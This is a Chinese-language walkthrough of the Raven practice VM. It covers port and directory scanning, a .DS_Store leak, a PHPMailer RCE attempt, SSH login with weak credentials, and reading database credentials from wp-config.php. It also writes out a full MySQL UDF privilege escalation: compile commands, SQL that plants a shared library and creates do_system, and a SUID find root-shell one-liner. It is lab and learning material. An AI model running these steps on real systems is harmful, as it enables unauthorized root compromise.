Raven靶机work_through
前言
这篇不能算作合格,但还是记一下。
正文
nmap -sP 192.168.218.0/24
发现主机IP 192.168.218.133
进行端口扫描
nmap -sV -A -p- 192.168.218.133
Nmap scan report for 192.168.218.133
Host is up (0.000094s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
| 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
| 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 37641/tcp status
| 100024 1 47186/udp6 status
| 100024 1 49218/tcp6 status
|_ 100024 1 56495/udp status
37641/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:5E:5D:15 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
访问80端口,到处点点。web指纹识别到wordpress4.8.15
在扫描目录
python .\dirsearch.py -u http://192.168.218.133/ -e php
得到结果
[21:04:16] 200 - 18KB - /.DS_Store
[21:04:17] 403 - 301B - /.ht_wsr.txt
[21:04:17] 403 - 304B - /.htaccess.bak1
[21:04:17] 403 - 304B - /.htaccess.orig
[21:04:17] 403 - 306B - /.htaccess.sample
[21:04:17] 403 - 304B - /.htaccess.save
[21:04:17] 403 - 302B - /.htaccessBAK
[21:04:17] 403 - 302B - /.htaccessOLD
[21:04:17] 403 - 303B - /.htaccessOLD2
[21:04:17] 403 - 305B - /.htaccess_extra
[21:04:17] 403 - 304B - /.htaccess_orig
[21:04:17] 403 - 302B - /.htaccess_sc
[21:04:17] 403 - 294B - /.htm
[21:04:17] 403 - 295B - /.html
[21:04:17] 403 - 304B - /.htpasswd_test
[21:04:17] 403 - 300B - /.htpasswds
[21:04:17] 403 - 301B - /.httr-oauth
[21:04:18] 403 - 294B - /.php
[21:04:18] 403 - 295B - /.php3
[21:04:24] 200 - 9KB - /contact.php
[21:04:24] 301 - 316B - /css -> http://192.168.218.133/css/
[21:04:25] 301 - 318B - /fonts -> http://192.168.218.133/fonts/
[21:04:26] 301 - 316B - /img -> http://192.168.218.133/img/
[21:04:26] 200 - 16KB - /index.html
[21:04:26] 200 - 4KB - /js/
[21:04:26] 301 - 315B - /js -> http://192.168.218.133/js/
[21:04:27] 301 - 319B - /manual -> http://192.168.218.133/manual/
[21:04:27] 200 - 626B - /manual/index.html
[21:04:29] 403 - 303B - /server-status
[21:04:29] 403 - 304B - /server-status/
[21:04:31] 200 - 5KB - /vendor/
[21:04:31] 200 - 2KB - /wordpress/wp-login.php
[21:04:31] 200 - 51KB - /wordpress/
可以看到存在DS_store信息泄露,使用工具https://github.com/lijiejie/ds_store_exp,https://github.com/gehaxelt/Python-dsstore
泄露目录fonts,img,js,scss,Security - Doc
也就比目录扫描结果多了一个。
扫出来的状态码200的目录——js,vendor啥的都有目录遍历,就是我看不出有什么问题。
进入wordpress目录,发现渲染有点奇怪,点点点发现有跳转到raven.local,所以修改hosts把raven.local配到靶机IP上。刷新之后页面正常了。
再扫一波目录,针对wp-login.php尝试了一波sql注入没有结果。网上搜这个版本的漏洞也没看到什么,陷入僵局。
看看已有文章,发现service.html源码中有一个flag,后续的突破口在vender目录下暴露的PHPmailer。确实还是要耐心一点,扫到的每一个页面,源码、js都要进去看看,不过这里确实是我对PHPmailer没有任何印象,满脑子都是wordpress有啥洞。有一说一点进/vendor/test/目录是能看到fakesendmail.sh等文件,这个其实有在提示你这里可能有问题的。
参考阅读:phpmailer-rce, CVE-2016-10033
发现我这环境用公开exp还是手测都打不了。看安全客文章得到解释是,它源码里包含的文件错了。
michael michael
得,那练一下提权好了。
上传linux-exploit-suggester.sh,脏牛又能打。但我们试试其他文章提到的MySQL udf提权吧
wp-config.php
/** MySQL database username */^M
define('DB_USER', 'root');^M
^M
/** MySQL database password */^M
define('DB_PASSWORD', 'R@v3nSecurity');^M
1518.c
gcc -g -c mysqludf_1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so mysqludf_1518.o -lc
再上传1518.so
利用上面获取的MySQL账号密码,进入MySQL
use wordpress;
insert into foo values(load_file('/var/www/html/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
下面就是利用find suid提权了
touch foo
find foo -exec '/bin/sh' \;
总结
打点的过程中还是要有耐心。提权的过程中到底是传上去编译还是编译出产物再上传感觉还是要思考一下。后面可能要转向hackthebox了,这本地搭环境老出现点问题。